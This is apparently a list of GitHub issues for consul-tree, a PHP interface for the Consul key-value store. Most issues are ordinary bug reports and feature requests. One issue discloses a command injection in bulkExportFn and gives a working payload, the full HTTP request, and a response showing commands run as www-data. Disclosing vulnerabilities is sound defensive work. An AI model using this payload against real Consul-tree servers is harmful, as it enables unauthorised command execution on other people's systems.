vagharsh/consul-tree

Tree representation of hashicorp/consul (KV Store) with (copy,cut,paste,rename,duplicate,delete,import,export,search)

consul-tree's Issues

backend processes are slow

all backend processes are slow .. i am open to suggestions on how to fix them

when no tree, export is enabled

where there is no tree, no data, export button is enabled,
it should not, because there is no data to export

value field hides in create new key/folder

value field in the create new key/folder modal toggles the field class on KeyUp it should be addClass

the home page keeps reloading

once I authenticate, the page enters an endless loop, and keeps reloading forever.

I am running Consul v1.15.3, and I use an authentication token.

On a different note, I also tried to build the image, but it's too old and the debian image fails to download the packages. The good news is that the applications seems to work with php8.3.0

long wait for import process

when the data is big the ajax requests takes a long time to send and to import the full data

paste is not working

Command Injection on bulkExportFn function

I identified the possibility of injecting commands when calling the EXPORT method due to the bulkExportFn function using the shell_exec call concatenating the value of $consul without any sanitization. Therefore, by using the echo command to return JSON in the format expected by the function, it is possible to obtain the result of executing the command.

Endpoint: /backend/requests.php
Payload: consul=;x=id | base64 -w0; echo "[{"LockIndex":0,"key":"Test","Flags":0,"value":"$x","CreateIndex":10522112,"ModifyIndex":10522112}]" #&method=EXPORT&path=%5B%22Test%22%5D

-- Full request --
POST /backend/requests.php HTTP/1.1
Host: {IP}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 189
Connection: close
Cookie: PHPSESSID={TOKEN}

consul=;x=id | base64 -w0; echo "[{"LockIndex":0,"key":"Test","Flags":0,"value":"$x","CreateIndex":10522112,"ModifyIndex":10522112}]" #&method=EXPORT&path=%5B%22Test%22%5D

-- Response --
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 65
Connection: close
Content-Type: text/html; charset=UTF-8

{"Test":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"}

right click to create folder or key on key

when doing right click to create folder or key on key, it creates the key or the folder with the key name included

key-Value box doesn't change its value once its edited

once you select a key, and change something in the value without pressing the update button and then if you select another key the value box doesn't change its value

import and export feature

feature to allow the user to import and export the consul data from one environment to another using the consul-tree

multiple roots

if the consul-ui has multiple roots it throws an exception in the browser

no root for the tree

if there is the no root folder for the tree the tree won't show anything. and it throws an exception in the browser